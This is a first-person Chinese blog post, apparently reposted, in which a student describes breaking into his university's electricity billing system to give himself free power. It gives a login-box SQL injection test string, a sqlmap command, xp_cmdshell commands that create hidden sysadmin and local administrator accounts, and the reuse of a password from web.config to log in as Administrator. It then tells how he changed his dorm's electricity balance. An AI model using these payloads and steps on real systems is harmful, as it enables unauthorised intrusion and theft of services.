夏天電費都貴的要死,作為一名在校學生又沒有什麼經濟來源,於是就打起了學校電力系統的主意,想給自己節約點電費,下面就介紹一下我是怎麼對校園電力系統進行滲透的,不多說直接干。
1.測試是否有注入點
首先,我們學校有個電費查詢的站點
查了下這個公司沒有什麼整站程序漏洞可以利用的。站點是aspx。學校給的用戶名密碼都是guest,進去過後輸入寢室號就可以查詢。直接登陸框注入下。
輸入gues’+’t 密碼隨便亂輸 提示密碼錯誤,很明顯存在mssql拆分注入。手工測試了下guest'; IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:05 還存在時間差注入,而且是sa權限,總之就有注入了,直接放在sqlmap裡面跑。
2.sqlmap提權
Post注入首先抓包
然後sqlmap.py -r s.txt -p TextBox1 --dbs -username -password什麼的得出了sa的hash 嘗試破解但是沒破解出來,不想hash了,畢竟是sa權限。直接提交
;exec master.dbo.sp_addlogin vgy95$,V_gy95;--
;exec master.dbo.sp_addsrvrolemember vgy95,sysadmin;--
;exec master..xp_cmdshell "net user vgy95$ V_gy95 /add"--
;exec master..xp_cmdshell "net localgroup administrators vgy95$ /add"--
很幸運,這台服務器沒設置什麼亂七八糟的存儲過程限制,都執行成功了。現在既有了sqlserver的sa權限,也有了一個admin權限的遠程用戶。
3.曲折的電費數據修改 各位大大們,肯定以為到了這部基本差不多就結束了,接下來update或者insert的事情,但是過程遠比這個難。首先給大家看下數據庫:
很明顯就是elecctldata。看了下自己剩余度數還有419.49度(這個電費是已經改過了的),直接在數據庫裡面搜索“419.49”呗,執行後發現居然沒有
每個表段都查了下,在Dorm_Room_Info表發現我的寢室id是598 而存儲電費的表段在dbo.pos
查詢分離器執行
use ElecCtlData
select * from Pos where ID=598
得到
字段ElecLeft就是剩余電費度數,現在電費419.49.但是為毛數據庫裡面會有兩個小數點的差別呢。
立馬翻了下查詢頁面代碼是怎麼寫的,但是毫無發現。看見了同目錄下有個dll,立馬想到了.net與dll的結合運用,下了個dll反匯編工具(reflector.exe)發現了這段代碼:
select r.name as 房間編號,cast(p.ElecLeft/100.0 as decimal(20,2)) as '剩余電量(度)',p.lastUpdateTime as 抄表時間 from pos p,dorm_room_info r where p.id = r.posid and r.name='01"
上面寫了字段ElecLeft值除以100 就是查詢的度數值,所以就有了兩個小數點的差距。知道了原理直接構建語句:
UPDATE Pos SET ElecLeft=66666 WHERE ID=598
顯示執行成功,興奮的查了下電費居然還是原始值
什麼情況!?居然沒成功,再執行一邊,還是顯示成功但是查詢過後還是原始值。
百度了一下,很多人說這是因為數據庫寫了事物,所以回滾了。也就是說數據庫有數據更新時,事物會根據設定好的語句驗證數據每一個操作的一致性。如果前後不一致的話,那麼數據就會回滾。
我的情況貌似就是這樣,遠程登錄了下發現居然不能使用T-sql進行調試,於是打開SQLServerProfiler進行數據庫跟蹤。
看見了ApplicationName 寫的是.Net sqlClient Data Provider
說明有個外部設備在一直往數據庫寫數據所以我的電費也改不了,只有嘗試登錄服務器的Administrator 用戶看看是什麼情況了,但是Administrator的密碼並沒有,又陷入了難題。因為服務器是windows 2008 r2的,密碼要求比較多,要有大小寫和特殊符號,所以當時就覺得無望了。
隨手翻了站點的web.config 看見了sa用戶的密碼是mjmic****123 於是決定用這個密碼來試試Administrator這個用戶,結果真的登陸進去了!!!!
發現一個通訊程序一直在往數據庫寫數據,如圖:
看來只有停掉這個程序或者用官網的客戶端進行修改了,看到了桌面上電費管理系統的快捷方式直接打開,操作充值修改數據,一切ok!有人問我為什麼不在自己建的用戶運行這個客戶端,我也運行過但是自己建的用戶沒有權限進行修改操作,只允許查詢。
好了,這是我的校園網滲透第一步,電力系統滲透。該系統管理了我們學校全部寢室包括幾處路燈,可以充電費也可以強制關閉或者開啟,還是挺危險的,正值暑假,漏洞開學提交。希望筒子們能夠互相學習交流。
本文來自於【系統之家】 www.xp85.com